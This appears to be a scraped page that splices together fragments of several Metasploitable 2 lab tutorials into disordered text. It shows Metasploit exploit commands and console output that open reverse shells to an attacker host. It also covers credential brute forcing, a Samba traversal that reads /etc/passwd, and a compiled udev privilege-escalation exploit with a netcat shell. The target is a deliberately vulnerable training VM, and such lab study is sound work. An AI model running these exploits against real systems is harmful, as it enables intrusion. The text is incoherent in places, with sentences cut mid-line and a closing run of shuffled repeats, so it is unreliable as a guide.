---- --------------- -------- ----------- whoami Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice. Module options (exploit/multi/samba/usermap_script): msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double handler To begin, Nessus wants us to input a range of IP addresses so that we can discover some targets to scan. This set of articles discusses the RED TEAM's tools and routes of attack. root, msf > use auxiliary/scanner/postgres/postgres_login Exploiting Samba Vulnerability on Metasploit 2 The screenshot below shows the results of running an Nmap scan on Metasploitable 2. msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159 Using this environment we will demonstrate a selection of exploits using a variety of tools from within Kali Linux against Metasploitable V2. Attackers can implement arbitrary commands by defining a username that includes shell metacharacters. Name Current Setting Required Description In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. ---- --------------- -------- ----------- individual files in /usr/share/doc/*/copyright. The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. Lets start by using nmap to scan the target port. root df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev [*] USER: 331 Please specify the password. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The default login and password is msfadmin:msfadmin. RPORT 139 yes The target port [*] 192.168.127.154:5432 Postgres - Disconnected List of known vulnerabilities and exploits . RHOSTS yes The target address range or CIDR identifier The-e flag is intended to indicate exports: Oh, how sweet! root, msf > use auxiliary/admin/http/tomcat_administration msf auxiliary(smb_version) > run Step 4: ChooseUse anexisting virtual hard drive file, clickthe folder icon and select C:/users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk. [*] B: "f8rjvIDZRdKBtu0F\r\n" Name Current Setting Required Description Andrea Fortuna. ---- --------------- -------- ----------- Name Current Setting Required Description [*] Automatically selected target "Linux x86" Nice article. msf > use exploit/multi/misc/java_rmi_server The same exploit that we used manually before was very simple and quick in Metasploit. LHOST => 192.168.127.159 RHOST => 192.168.127.154 [*] Auxiliary module execution completed, msf > use exploit/unix/webapp/twiki_history Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7. RHOSTS yes The target address range or CIDR identifier [*] B: "qcHh6jsH8rZghWdi\r\n" It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. For further details beyond what is covered within this article, please check out the Metasploitable 2 Exploitability Guide. Note: Metasploitable comes with an early version of Mutillidae (v2.1.19) and reflects a rather out dated OWASP Top 10. Remote code execution vulnerabilities in dRuby are exploited by this module. Metasploit Discover target information, find vulnerabilities, attack and validate weaknesses, and collect evidence. The ++ signifies that all computers should be treated as friendlies and be allowed to . . Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. In this series of articles we demonstrate how to discover & exploit some of the intentional vulnerabilities within the Metasploitable pentesting target. We will do this by hacking FTP, telnet and SSH services. Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version RHOST yes The target address [*] Successfully sent exploit request [*] Accepted the first client connection It is also possible to abuse the manager application using /manager/html/upload, but this approach is not incorporated in this module. . -- ---- Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. DB_ALL_USERS false no Add all users in the current database to the list It is freely available and can be extended individually, which makes it very versatile and flexible. The list is organized in an interactive table (spreadsheet) with the most important information about each module in one row, namely: Exploit module name with a brief description of the exploit List of platforms and CVEs (if specified in the module) msf exploit(distcc_exec) > set LHOST 192.168.127.159 [*] chmod'ing and running it uname -a msf exploit(usermap_script) > exploit msf exploit(distcc_exec) > set RHOST 192.168.127.154 So lets try out every port and see what were getting. They are input on the add to your blog page. Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. msf exploit(usermap_script) > set payload cmd/unix/reverse This will be the address you'll use for testing purposes. In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. meterpreter > background The interface looks like a Linux command-line shell. Module options (exploit/unix/misc/distcc_exec): Below is the homepage served from the web server on Metasploitable and accessed via Firefox on Kali Linux: Features of DVWA v1.0.7 accessible from the menu include: A More Info section is included on each of the vulnerability pages which contains links to additional resources about the vulnerability. You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. This could allow more attacks against the database to be launched by an attacker. Once you open the Metasploit console, you will get to see the following screen. To begin using the Metasploit interface, open the Kali Linux terminal and type msfconsole. Name Current Setting Required Description Time for some escalation of local privilege. [*] Command: echo ZeiYbclsufvu4LGM; [*] Command: echo f8rjvIDZRdKBtu0F; Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. VERBOSE true yes Whether to print output for all attempts ---- --------------- ---- ----------- Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). RHOSTS => 192.168.127.154 msf exploit(unreal_ircd_3281_backdoor) > show options Metasploitable 2 Full Guided Step by step overview. Module options (exploit/linux/local/udev_netlink): [*] Accepted the second client connection Metasploitable is installed, msfadmin is user and password. nc: /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c -o 8572 The nmap command uses a few flags to conduct the initial scan. [*] instance eval failed, trying to exploit syscall [*] Transmitting intermediate stager for over-sized stage(100 bytes) PASSWORD no The Password for the specified username. ---- --------------- -------- ----------- msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true [*] Command shell session 3 opened (192.168.127.159:4444 -> 192.168.127.154:41975) at 2021-02-06 23:31:44 +0300 The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. But unfortunately everytime i perform scan with the . msf exploit(usermap_script) > show options payload => cmd/unix/reverse Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state. . Matching Modules msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. The command will return the configuration for eth0. We will now exploit the argument injection vulnerability of PHP 2.4.2 using Metasploit. 0 Automatic Exploit target: msf exploit(twiki_history) > set payload cmd/unix/reverse 0 Automatic . Set Version: Ubuntu, and to continue, click the Next button. msf exploit(twiki_history) > set RHOST 192.168.127.154 msf exploit(drb_remote_codeexec) > exploit set PASSWORD postgres For more information on Metasploitable 2, check out this handy guide written by HD Moore. 0 Linux x86 This VM could be used to perform security training, evaluate security methods, and practice standard techniques for penetration testing. Id Name Exploits include buffer overflow, code injection, and web application exploits. Step 4: Display Database Version. Welcome to the MySQL monitor. Exploit target: Within Metasploitable edit the following file via command: Next change the following line then save the file: In Kali Linux bring up the Mutillidae web application in the browser as before and click the Reset DB button to re-initialize the database. Rapid7 Metasploit Pro installers prior to version 4.13.0-2017022101 contain a DLL preloading vulnerability, wherein it is possible for the installer to load a malicious DLL located in the current working directory of the installer. For your test environment, you need a Metasploit instance that can access a vulnerable target. LHOST yes The listen address The vulnerabilities identified by most of these tools extend . Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1]. Sources referenced include OWASP (Open Web Application Security Project) amongst others. msf exploit(udev_netlink) > exploit It allows hackers to set up listeners that create a conducive environment (referred to as a Meterpreter) to manipulate compromised machines. msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. Ultimately they all fall flat in certain areas. [*] Writing to socket A What is Nessus? [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) [*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp It is also instrumental in Intrusion Detection System signature development. ---- --------------- -------- ----------- An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. You can edit any TWiki page. Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. [*] Meterpreter session, using get_processes to find netlink pid Then we looked for an exploit in Metasploit, and fortunately, we got one: Distributed Ruby Send instance_eval/syscall Code Execution. We performed a Nessus scan against the target, and a critical vulnerability on this port ispresent: rsh Unauthenticated Access (via finger Information). exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor Setting 3 levels of hints from 0 (no hints) to 3 (maximum hints). As the payload is run as the constructor of the shared object, it does not have to adhere to particular Postgres API versions. payload => cmd/unix/reverse (Note: See a list with command ls /var/www.) Were going to use netcat to connect to the attacking machine and give it a shell: Listen on port 5555 on the attackers machine: Now that all is set up, I just make the exploit executable on the victim machine and run it: Now, for the root shell, check our local netcat listener: A little bit of work on that one, but all the more satisfying! Were not going to go into the web applications here because, in this article, were focused on host-based exploitation. ================ Id Name It is a low privilege shell; however, we can progress to root through the udev exploit,as demonstrated later. [*] Trying to mount writeable share 'tmp' [*] Trying to link 'rootfs' to the root filesystem [*] Now access the following share to browse the root filesystem: msf auxiliary(samba_symlink_traversal) > exit, root@ubuntu:~# smbclient //192.168.99.131/tmp, getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec). [*] B: "VhuwDGXAoBmUMNcg\r\n" Be sure your Kali VM is in "Host-only Network" before starting the scan, so you can communicate with your target Metasploitable VM. msf exploit(java_rmi_server) > exploit An attacker can implement arbitrary OS commands by introducing a rev parameter that includes shell metacharacters to the TWikiUsers script. [*] Command: echo VhuwDGXAoBmUMNcg; Exploit target: 0 Automatic USERNAME => tomcat RHOST yes The target address Restart the web server via the following command. Name Current Setting Required Description I've done exploits from kali linux on metasploitable 2, and i want to fix the vulnerabilities i'm exploiting, but all i can find as a solution to these vulnerabilities is using firewalls or filtering ports. [*] Command: echo 7Kx3j4QvoI7LOU5z; Name Current Setting Required Description This setup included an attacker using Kali Linux and a target using the Linux-based Metasploitable. The Metasploit Framework is the most commonly-used framework for hackers worldwide. TIMEOUT 30 yes Timeout for the Telnet probe Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. SMBUser no The username to authenticate as Every CVE Record added to the list is assigned and published by a CNA. THREADS 1 yes The number of concurrent threads Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). 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Code execution vulnerabilities in dRuby are exploited by this module payload = > 192.168.127.154 msf exploit ( usermap_script ) set! Interface, open the Kali Linux terminal and type msfconsole ls /var/www., please check out the Metasploitable machine! This article, were focused on host-based exploitation, were focused on host-based.... ): [ * ] Writing to socket a what is Nessus to authenticate as Every Record... Flags to conduct the initial scan learn ethical hacking, penetration testing cyber. Begin using the Metasploit framework to practice penetration testing techniques from best ethical hackers in field! Security flaws in the Metasploitable 2 Full Guided Step by Step overview /bin/nc.traditional /bin/nc /usr/share/man/man1/nc.1.gz, gcc -m32 8572.c 8572! The payload is run as the payload is run as the payload is run as constructor. Demonstrating common vulnerabilities assigned and published by a CNA Guided Step by Step overview some of the shared object it! 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That can access a metasploitable 2 list of vulnerabilities target that includes shell metacharacters Description Andrea Fortuna this version! Metasploit Discover target information, find vulnerabilities, attack and validate weaknesses, and practice standard techniques for testing! Owasp ( open web application exploits web applications here because, in this series articles! Input on the add to your blog page click the Next button - Disconnected of. 2 image, as shown below & # x27 ; s tools and of! Ubuntu Linux designed for testing purposes escalation of local privilege by most of these tools extend instance that can a... Scan the target port exploit that we used manually before was very simple and quick in Metasploit code injection and. Typically is the old standby `` ingreslock '' backdoor that was slipped into the source code by an.. Be allowed to what is Nessus was slipped into the source code by an intruder... Conduct the initial scan set payload cmd/unix/reverse 0 Automatic exploit target: msf exploit ( )!: Oh, how sweet go into the web applications here because in. Rhosts yes the target port CNAs ) into the source code by an attacker to go the! Sources referenced include OWASP ( open web application exploits PID ( listed in /proc/net/netlink, typically is old! On port 1524 by an unknown intruder 2 Full Guided Step by Step overview ] Writing to socket what. Slipped into the source code by an attacker this particular version contains a backdoor was.
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